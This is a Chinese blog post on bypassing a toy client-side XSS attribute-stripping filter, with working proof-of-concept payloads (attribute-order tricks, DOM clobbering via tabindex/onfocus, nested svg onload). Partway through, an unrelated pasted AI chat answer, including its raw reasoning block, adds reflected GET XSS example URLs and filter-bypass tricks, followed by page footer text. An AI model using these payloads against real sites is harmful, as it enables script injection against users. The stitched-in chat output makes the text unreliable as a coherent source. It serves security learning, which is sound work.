XSS绕过案例---使用<svg>或者<tabindex>

目录

一次循环

测试结果

两次循环

绕过方法1:DOM cobbing

绕过方法2:不进循环


一次循环

<!DOCTYPE html>
<html lang="en">
 
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form id=x>
        <input id=attributes>
        <input id=attributes>
    </form>
</body>
<script>
    console.info(x.attributes);
    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;
 
    //这里模拟了XSS过滤的过程,方法是移除所有属性
    for (let el of root.querySelectorAll('*')) {
        for (let attr of el.attributes) {
            el.removeAttribute(attr.name);
        }
    }
    document.body.appendChild(root); 
</script>

代码分析

   const data = decodeURIComponent(location.hash.substr(1));       #截取#号后面的值
   const root = document.createElement('div');       #创建一个div
   root.innerHTML = data;        #然后将#号后面的值赋值给div
   for (let el of root.querySelectorAll('*')) {  #选中div下面的所有子元素
       for (let attr of el.attributes) {           #获取子元素的所有属性
           el.removeAttribute(attr.name);   #删除获取到的所有属性

测试结果

我们传递了<img src=1 οnerrοr=alert(1)>

但是却发现src=1的属性被删除了,οnerrοr=alert(1)属性却还保留着,这是为什么呢?我们先了解一下这里的删除顺序。我们使用断点调试测试它的顺序

我们先一步步调试查看值的情况,通过断点调试,我们发现src作为第一个属性进入后被删除了,剩下的属性onerror仅一位,但是循环次数大于字符串个数时就不能删除了属性了。

我们使用一个python代码测试删除元素的顺序:

我们发现在a数组下,我们仅取出来了3个值,在预期中我们应该取出6个值,这就是应该边循环边删除的原因造成的。 

这就有很大的问题,因为删除元素时因为索引问题我们不清楚到底删除了哪些元素,所以我们仅需要进行多次尝试就可以绕过一次循环:

<img test=aaa src=1 title=bbb οnerrοr=alert(1)>

两次循环

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1));;
    const root = document.createElement('div');
    root.innerHTML = data;
   
    // 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizer
    for (let el of root.querySelectorAll('*')) {
     let attrs = [];
     for (let attr of el.attributes) {
      attrs.push(attr.name);
     }
     for (let name of attrs) {
      el.removeAttribute(name);
     }
    }    
     document.body.appendChild(root); 
</script>
</html>

两次循环的题是将属性先放入一个数组里面再进行删除,这个时候就不存在一次循环的问题。

所以我们使用两种方法进行绕过。

绕过方法1:DOM cobbing

将进入循环的东西不放入我们需要的代码,这样即使删除了也没有关系

那我们如果让没有用到的属性进入循环,需要的又没有进入循环呢?

tabindex:全局属性,指示其元素是否可以聚焦,以及它是否在何处参与顺序键盘导航。使用Tab键获取焦点。

<form%20 tabindex=1 οnfοcus="alert(1);this.removeAttribute('onfocus'); "autofocus="true"><input name=attributes><input name=attributes></form>

 这样就是将<form%20 tabindex=1 οnfοcus="alert(1);this.removeAttribute('onfocus'); "autofocus="true">进行了触发,删除的是后面的<input>里面的属性

绕过方法2:不进循环

<svg><svg/οnlοad=alert(1)>

为什么一个<svg>没有成功,两个就成功了?--- 它可以在过滤代码执行以前,提前执行恶意代码。

        svg标签会阻塞DOM的构造。JS环境里对DOM操作又会导致回流,为DOM树构造造成额外影响。在script标签内的JS执行完毕以后,DOM树才会构建完成,接着才会加载后面的内容,然后发现加载内容出错才会触发error事件。

就是恶意代码还没有进入循环就已经执行了,所以后面无论进不进循环都没有什么意义了。

<think>好的,我现在需要帮助用户生成一个GET型的简单XSS注入示例,特别是针对包含<h1>hello</h1>的HTML代码。首先,我得回顾用户之前的对话,确保我理解他的需求。 用户之前已经询问过如何在<h1>标签中实现XSS注入,我给出了使用onclick事件属性和<script>标签的例子。现在用户想进一步实现GET请求的XSS攻击,也就是通过URL参数触发XSS。这意味着攻击载荷需要从URL的查询参数中获取并执行。 接下来,我需要考虑如何构造这样的示例。GET型XSS通常是通过将恶意脚本作为参数值插入到URL中,当页面加载时,参数值被输出到页面上,导致脚本执行。例如,如果页面有一个参数名为“name”,并且未经过滤就直接插入到HTML中,攻击者可以构造类似?name=<script>alert('XSS')</script>的URL。 用户提到要在现有的包含<h1>hello</h1>的代码中实现,所以我需要将XSS载荷嵌入到h1标签内。可能的做法是将h1的内容动态生成,比如从URL参数中获取值。例如,如果后端代码将name参数直接插入到h1标签中,攻击者可以通过修改name参数注入脚本。 但是用户可能需要一个具体的示例代码。我需要构造一个简单的HTML页面,其中h1的内容来自URL的GET参数,并且没有进行任何转义或过滤。例如: <h1>Hello, <?php echo $_GET['name']; ?></h1> 这种情况下,攻击者可以提交URL如:http://example.com/?name=<script>alert('XSS')</script>,这样脚本就会执行。 不过用户可能没有使用PHP,所以可能需要更通用的客户端示例。但通常,GET型XSS需要服务器端将参数值输出到页面中。如果只是静态HTML,可能无法直接实现,除非有服务端处理。但为了示例,可以假设有一个服务端将参数输出到页面。 另外,引用[1]中提到了标签语法替换的方法,比如拆分script标签来绕过过滤。例如,使用<scr<script>ipt>来绕过简单的黑名单过滤。这个技巧可以用来构造更隐蔽的XSS载荷。 引用[2]提到了Jsoup库用于清理HTML,防止XSS,所以如果目标站点使用类似库,攻击可能需要更高级的绕过方法。但用户需要的是简单示例,所以可能不需要考虑这些。 引用[3]提到<style>标签用于CSS,但可能可以用来进行XSS,不过不太常见,用户需求是GET型,所以可能还是用script标签或事件属性更直接。 现在,我需要确保示例正确,并且符合用户的需求。用户想要在现有的包含<h1>hello</h1>的代码中实现,所以可能需要将恶意代码嵌入到h1标签内部或附近。例如,如果h1的内容由GET参数控制,则注入的脚本会被插入到页面中。 总结,可能的示例包括: 1. 使用URL参数注入JavaScript代码到h1标签的内容中。 2. 利用事件属性如onmouseover,但GET型通常指的是反射型XSS,通过参数注入。 3. 使用拆分script标签或其他混淆技术绕过简单过滤。 需要给出具体的代码示例,并说明攻击者如何构造URL。同时,需要提醒用户这仅用于学习目的,并强调防御措施的重要性,比如输入过滤和输出编码,参考引用[2]提到的Jsoup库。</think>### 实现基于 GET 请求的反射型 XSS 注入示例 以下是通过 URL 的 GET 参数在 `<h1>` 标签中触发反射型 XSS 的两种典型方法,**假设目标网站未对输入参数进行过滤或转义处理**: --- #### **示例 1:直接在 `<h1>` 内容中注入脚本** 若页面动态渲染 URL 参数到 `<h1>` 标签内(例如 PHP 后端代码): ```html <!-- 假设后端代码:<h1>Hello, <?php echo $_GET['name']; ?></h1> --> http://example.com/vulnerable_page.php?name=<script>alert('XSS')</script> ``` 生成的前端代码将变为: ```html <h1>Hello, <script>alert('XSS')</script></h1> ``` 浏览器解析时会直接执行 `alert('XSS')`[^1]。 --- #### **示例 2:利用事件属性绕过简单过滤** 若网站仅过滤 `<script>` 标签,可通过事件属性触发(如 `onmouseover`): ```html http://example.com/vulnerable_page.php?name=<h1%20onmouseover="alert('XSS')">hello ``` 生成的前端代码: ```html <h1 onmouseover="alert('XSS')">hello</h1> ``` 当用户鼠标悬停在 `<h1>` 标签上时触发弹窗[^1]。 --- #### **示例 3:标签拆分绕过黑名单** 引用[1]提到的语法替换技巧,拆分 `<script>` 标签以绕过简单过滤: ```html http://example.com/vulnerable_page.php?name=<scr<script>ipt>alert('XSS')</scr</script>ipt> ``` 后端若未递归过滤,最终代码可能解析为: ```html <h1>hello<scr<script>ipt>alert('XSS')</scr</script>ipt></h1> ``` 实际浏览器会合并标签为: ```html <script>alert('XSS')</script> ``` --- ### **防御建议** 1. **输入过滤与输出编码**:使用如 Jsoup 的 HTML 清理库对用户输入进行白名单过滤[^2]。 ```java String safeInput = Jsoup.clean(userInput, Whitelist.basic()); ``` 2. **禁用内联脚本**:通过 HTTP 头 `Content-Security-Policy: script-src 'self'` 限制脚本来源。 3. **转义特殊字符**:将 `<`, `>`, `&` 等字符转换为实体(如 `<`, `>`)。 --- **注意**:以上代码仅用于安全研究,实际攻击行为违反法律。务必在授权环境下测试! --相关问题-- 1. 如何通过 HTTP 头部防御 XSS 攻击? 2. Jsoup 的白名单机制具体如何工作? 3. 除了 `<script>`,还有哪些 HTML 标签可能触发 XSS
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

努力学IT的小徐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值